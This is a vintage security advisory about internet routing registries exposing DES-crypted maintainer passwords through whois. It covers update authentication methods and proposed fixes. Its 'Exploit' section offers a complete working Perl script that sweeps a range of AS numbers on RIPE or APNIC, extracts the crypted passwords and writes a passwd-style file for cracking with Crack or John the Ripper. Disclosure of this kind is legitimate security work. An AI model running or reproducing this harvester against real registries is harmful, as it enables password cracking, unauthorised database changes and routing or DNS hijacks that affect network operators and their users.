|
|
|
|
| |
| The Routing Registries maintain databases of all routing information including Autonomous System Numbers and IN.ADDR-ARPA reverse lookups. The registries display DES-encrypted passwords to the public, and the database update process is prone to being cracked. |
| |
Credit:
The information has been provided by Raju Mathur.
|
| |
Background:
If you are a maintainer for an AS or an IN-ADDR.ARPA domain, you can use any of the following methods to update information about your records (this is from my personal understanding, there could be minor differences between different registries):
1. NONE. You send updates by e-mail or through a web form to the registry, which are reviewed by the host master and applied if they are syntactically and semantically OK.
2. MAIL-FROM. You send updates by e-mail or through the web form to the registry, which makes syntax and semantic checks and contacts you on your registered e-mail address. Once you reply in the affirmative, the updates are applied.
3. CRYPT-PW. The web forms allow you to apply semantically correct updates immediately if you choose CRYPT-PW as your authentication method. You only need your password to change the database. There is no human review of the update.
4. PGP. You send a PGP-signed message to the host master, who verifies that the signature is correct, makes syntax and semantic checks and updates the database.
Issues:
We already reported about how easy it is to 'hijack' domains guarded with the MAIL-FROM authentication. See: Domain Hijacking: A step-by-step guide. PGP, on the other hand, seems quite safe (as safe as using PGP is).
The CRYPT-PW method of update is of interest here. Essentially anyone who manages to get hold of your plaintext CRYPT-PW (which uses DES as the encryption method) can masquerade as you and make changes to the databases without any other human intervention at all. This can lead to serious security and network outage issues in the short term.
The problem is that the registries are constrained by their users to reveal the CRYPT'ed password to the public through a simple whois mechanism. Doing a whois on the maintainer object in a registry reveals the CRYPT'ed password if s/he has one, after which there are any number of tools which would permit you to attempt to crack or brute-force the password.
Solutions:
Solutions exist at a number of levels:
1. Personal. Do not use CRYPT-PW as your authentication mechanism if you are a maintainer. All the registries recommend the use of PGP and will help you get started with PGP if you need that.
2. Community. Take a decision not to display the authentication mechanism to the public, especially the encrypted passwords. It should be trivial to change the whois server code to conceal the passwords.
3. Registry. Encourage all your users to switch to a more secure method of sending updates. Define a date by which all users must switch. Remove the ``NONE'' authentication method altogether. For MAIL-FROM use unique, random identifiers for each request which must be present in the update confirmation message.
Exploit:
Not really an exploit, but the attached Perl script (which has been tested on Linux with fwhois) will help you to extract DES-encrypted passwords from maintainer objects related to a range of Autonomous System Numbers (ASN's) and put them into a Unix-style password file which can be fed in to Crack (or John the Ripper) for decrypting.
Run the following command:
who.pl output-file APNIC|RIPE start-asn end-asn
Where output-file will be the file with the Unix-style passwd information including the encrypted password, APNIC or RIPE are which registry you wish to glean passwords from (it's trivial to modify the program to glean passwords from RADB) and start- and end-asn's define the block of AS numbers whose maintainer objects you are trying to extract passwords from.
#!/usr/bin/perl -w
#
# Brute force create a /etc/passwd-like file with DES-encrypted passwords
# from dumb whois lookups on RIPE and APNIC. Can be easily modified
# to handle RADB too. Once the file is created, run Crack (or your favourite
# DES-crack program) on it and create some headache for the ``Internet
# community'' which has decided to reveal DES-encoded passwords as part
# of a whois lookup on a maintainer object.
#
# Copyright 2000, Raju Mathur <raju@linux-delhi.org>, <raju@kandalaya.org>
#
# This program is available under the terms of the GNU General Public License
#
use strict ;
#
# Currently will work on RIPE and APNIC
#
my
$count = 0 ;
my
$outfile = shift ;
my
$registry = shift ;
if ( !defined $outfile || !defined $registry
|| $registry !~ /apnic/i && $registry !~ /ripe/i )
{
print STDERR "usage: $0 output-file APNIC|RIPE [start AS] [end AS]\n" ;
exit 1 ;
}
open OUT , ">$outfile"
or die "Cannot write to $outfile: $!\n" ;
my
$startas = shift ;
$startas = 1
if !defined $startas ;
my
$endas = shift ;
$endas = 12000
if !defined $endas ;
my
$server = "whois.apnic.net" ;
$server = "whois.ripe.net"
if $registry =~ /ripe/i ;
my
$maintainer ;
my
$descr ;
my
$notify ;
my
$auth ;
my
$passwd ;
foreach my $i ( $startas..$endas )
{
print "*** AS$i\n" ;
open WHOIS , "whois AS$i\@$server|"
or die "Cannot whois AS$i: $!\n" ;
while ( <WHOIS> )
{
if ( /^mnt-by:\s*(.*)/ )
{
$maintainer = $1 ;
last ;
}
}
close WHOIS ;
next
if !$maintainer ;
print "*** $maintainer\n" ;
open WHOIS , "whois $maintainer\@$server|"
or die "Cannot whois $maintainer: $!\n" ;
$descr = "" ;
while ( <WHOIS> )
{
if ( $_ =~ /^descr:\s*(.*)/ )
{
$descr .= "$1, " ;
}
if ( $_ =~ /^mnt-nfy:\s*(.*)/ )
{
$notify = $1 ;
}
if ( $_ =~ /^auth:\s*(.*)/ )
{
$auth = $1 ;
}
last if $auth && $auth =~ /crypt-pw/i ;
}
next
if !$auth || $auth !~ /crypt-pw/i ;
print "*** <$descr> <$notify> <$auth>\n" ;
close WHOIS ;
$auth =~ /.*crypt-pw\s*(.*)/i ;
$passwd = $1 ;
$descr =~ s/[\n:]//g ;
$notify =~ s/://g ;
print OUT "$maintainer:$passwd:42:42:$descr:/dev/null:/bin/sh\n" ;
$auth = "" ;
$count++ ;
}
close OUT ;
print "$count records\n" ;
|
|
|
|
|
|
|
|
|
|
